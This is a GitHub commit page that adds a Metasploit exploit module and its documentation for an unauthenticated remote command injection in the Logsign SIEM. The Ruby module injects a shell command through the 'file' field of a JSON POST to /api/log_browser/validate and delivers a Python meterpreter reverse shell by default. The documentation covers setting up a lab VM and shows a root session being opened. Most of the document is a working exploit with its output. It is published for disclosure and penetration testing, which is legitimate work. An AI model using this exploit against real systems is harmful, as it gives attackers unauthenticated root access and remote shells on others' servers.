Skip to content

Commit a93aef8

Browse files
committed
Land rapid7#8086, Add Module Logsign Remote Code Execution
2 parents 8e829ae + 3ed42e5 commit a93aef8

File tree

2 files changed

+156
-0
lines changed

2 files changed

+156
-0
lines changed
Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
## Vulnerable Application
2+
3+
Download the vulnerable version of OVA or ISO file from following URL. I strongly suggest you to choose OVA.
4+
5+
[http://s3-eu-west-1.amazonaws.com/innotim/Logsign.ova](http://s3-eu-west-1.amazonaws.com/innotim/Logsign.ova)
6+
[http://s3-eu-west-1.amazonaws.com/innotim/forest-4.4.1-12.04.iso](http://s3-eu-west-1.amazonaws.com/innotim/forest-4.4.1-12.04.iso)
7+
8+
### Creating A Testing Environment
9+
10+
1. Open OVA file with your preferred virtualisation application.
11+
2. Before starting the virtual machine, choose NAT mode for interface.
12+
3. Once the machine started, you must be seeing following information on screen.
13+
```
14+
Ubuntu 12.04.05 LTS - logsign customer tty1
15+
IP: 12.0.0.10
16+
...
17+
Version: Focus
18+
4.4.2
19+
```
20+
4. Access the management interface by visiting `https://<ip_address>` through your browser.
21+
5. Complete the installation by just submitting the fake data.
22+
23+
**Please follow below instructions if you are seeing different IP address on the screen that doesn't belong to your NAT network range.**
24+
25+
Right after step 3, I've started to see totally different IP address on the screen which was something like 10.0.0.X. Since there is no such a network range in my configuration, it's impossible access to the machine through network. Here is the steps that shows how you can fix this issue. Follow these instructions and then go back to the step 5.
26+
27+
1. Reboot the machine
28+
2. Start pressing ```shift``` button at the very beginning and keep pressing until you see GRUB menu.
29+
3. Choose second line and press enter. We are going to about boot machine with recovery mode.
30+
4. You must be seeing terminal right now. Execute following commands.
31+
```
32+
mount -rw -o remount /
33+
```
34+
5. Execute following command specify a new password for root user.
35+
```
36+
passwd root
37+
```
38+
6. As a final step, reboot the machine.
39+
```
40+
reboot
41+
```
42+
7. Login with your root user.
43+
8. Open ```/etc/network/interfaces``` file and perform necessary changes. Here is my own configuration.
44+
```
45+
address 12.0.0.10
46+
netmask 255.255.255.0
47+
<removed line starting with 'network'>
48+
<removed line starting with 'broadcast'>
49+
gateway 12.0.0.2
50+
dns-nameservers 8.8.8.8
51+
```
52+
9. Reboot the machine for a last time.
53+
54+
## Verification Steps
55+
56+
1. Install the software as documented above
57+
2. Start `msfconsole`
58+
3. `use exploit/linux/http/logsign_exec`
59+
4. `set rhost 12.0.0.10
60+
6. `python/meterpreter/reverse_tcp` is configured as a default payload. Change it if you need. Most of the case, you're okay go with default payload type.
61+
7. `set LHOST 12.0.0.1`
62+
8. `check` and validate that you are seeing following output.
63+
64+
```
65+
[+] 12.0.0.10:80 The target is vulnerable.
66+
```
67+
68+
9. Here you go. Type `exploit` and hit the enter.
69+
70+
```
71+
[*] Started reverse TCP handler on 12.0.0.1:4444
72+
[*] Delivering payload...
73+
[*] Sending stage (38651 bytes) to 12.0.0.10
74+
[*] Meterpreter session 2 opened (12.0.0.1:4444 -> 12.0.0.10:46057) at 2017-02-28 14:11:20 +0100
75+
76+
meterpreter > getuid
77+
Server username: root
78+
meterpreter >
79+
```
Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
11+
def initialize(info={})
12+
super(update_info(info,
13+
'Name' => 'Logsign Remote Command Injection',
14+
'Description' => %q{
15+
This module exploits an command injection vulnerability in Logsign.
16+
By exploiting this vulnerability, unauthenticated users can execute
17+
arbitrary code under the root user.
18+
19+
Logsign has a publicly accessible endpoint. That endpoint takes a user
20+
input and then use it during operating system command execution without
21+
proper validation.
22+
23+
This module was tested against 4.4.2 and 4.4.137 versions.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'Mehmet Ince <[email protected]>' # author & msf module
29+
],
30+
'References' =>
31+
[
32+
['URL', 'https://pentest.blog/unexpected-journey-3-visiting-another-siem-and-uncovering-pre-auth-privileged-remote-code-execution/']
33+
],
34+
'Privileged' => true,
35+
'Platform' => ['python'],
36+
'Arch' => ARCH_PYTHON,
37+
'DefaultOptions' =>
38+
{
39+
'payload' => 'python/meterpreter/reverse_tcp'
40+
},
41+
'Targets' => [ ['Automatic', {}] ],
42+
'DisclosureDate' => 'Feb 26 2017',
43+
'DefaultTarget' => 0
44+
))
45+
46+
end
47+
48+
def check
49+
p_hash = {:file => "#{rand_text_alpha(15 + rand(4))}.raw"}
50+
51+
res = send_request_cgi(
52+
'method' => 'POST',
53+
'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
54+
'ctype' => 'application/json',
55+
'data' => JSON.generate(p_hash)
56+
)
57+
58+
if res && res.body.include?('{"message": "success", "success": true}')
59+
Exploit::CheckCode::Vulnerable
60+
else
61+
Exploit::CheckCode::Safe
62+
end
63+
end
64+
65+
def exploit
66+
print_status("Delivering payload...")
67+
68+
p_hash = {:file => "logsign.raw\" quit 2>&1 |python -c \"#{payload.encoded}\" #"}
69+
70+
send_request_cgi(
71+
'method' => 'POST',
72+
'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
73+
'ctype' => 'application/json',
74+
'data' => JSON.generate(p_hash)
75+
)
76+
end
77+
end

0 commit comments

Comments
 (0)